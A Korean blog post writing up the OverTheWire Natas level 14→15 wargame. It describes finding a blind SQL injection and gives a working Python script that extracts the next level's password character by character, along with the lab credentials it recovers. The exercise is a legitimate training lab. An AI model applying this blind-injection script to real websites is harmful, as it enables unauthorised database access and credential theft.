DINGA DINGA
article thumbnail
Published 2021. 5. 28. 01:48
[Natas] Level 14 → Level 15 WEB/Natas
728x90

http://natas15.natas.labs.overthewire.org/index.php

natas15/AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J 로 로그인

 

 

소스코드를 살펴보자.

 

 

쿼리의 실행 결과 중 참인 것이 하나 이상이면 "This user exists."라는 문구를 출력한다.

주석처리된 부분을 보면 users 테이블에 password 컬럼이 존재한다는 것을 알 수 있다.

 

" or "1=1를 입력하고 Check existence를 클릭하니 아래와 같이 문구가 출력되었다.

Blind sql injection 방법으로 풀 수 있을 것 같다.

 

Burp Suite로 Request 헤더를 확인하고 파이썬으로 자동화 코드를 작성했다.

import socket
 
for idx in range(1,33):
  for ch in range(48,123):
    if 58 <= ch <= 64: continue
    if 91 <= ch <= 96: continue
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect(("176.9.9.172",80))
 
    header = "GET /index.php?"
    header += "username=%22+or+username=%22natas16%22+and+ord(mid(password,"+str(idx)+",1))="+str(ch)+"%23 "
    header += "HTTP/1.1\r\n"
    header += "Authorization:Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n"
    header += "Host:natas15.natas.labs.overthewire.org\r\n"
    header += "\r\n"
 
    response = " "
    sock.send(header.encode())
    response = sock.recv(65535)
    response = response.decode()
    if "This user exists." in response:
        print( chr(ch), end='', flush=True )
        sock.close()
        break;
    sock.close()
print()

 

코드를 실행해서 얻은 패스워드는 다음과 같다.

 

Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

728x90

'WEB > Natas' 카테고리의 다른 글

[Natas] Level 16 → Level 17  (0) 2021.06.24
[Natas] Level 15 → Level 16  (0) 2021.06.24
[Natas] Level 13 → Level 14  (0) 2021.05.28
[Natas] Level 12 → Level 13  (0) 2021.05.19
[Natas] Level 11 → Level 12  (0) 2021.05.19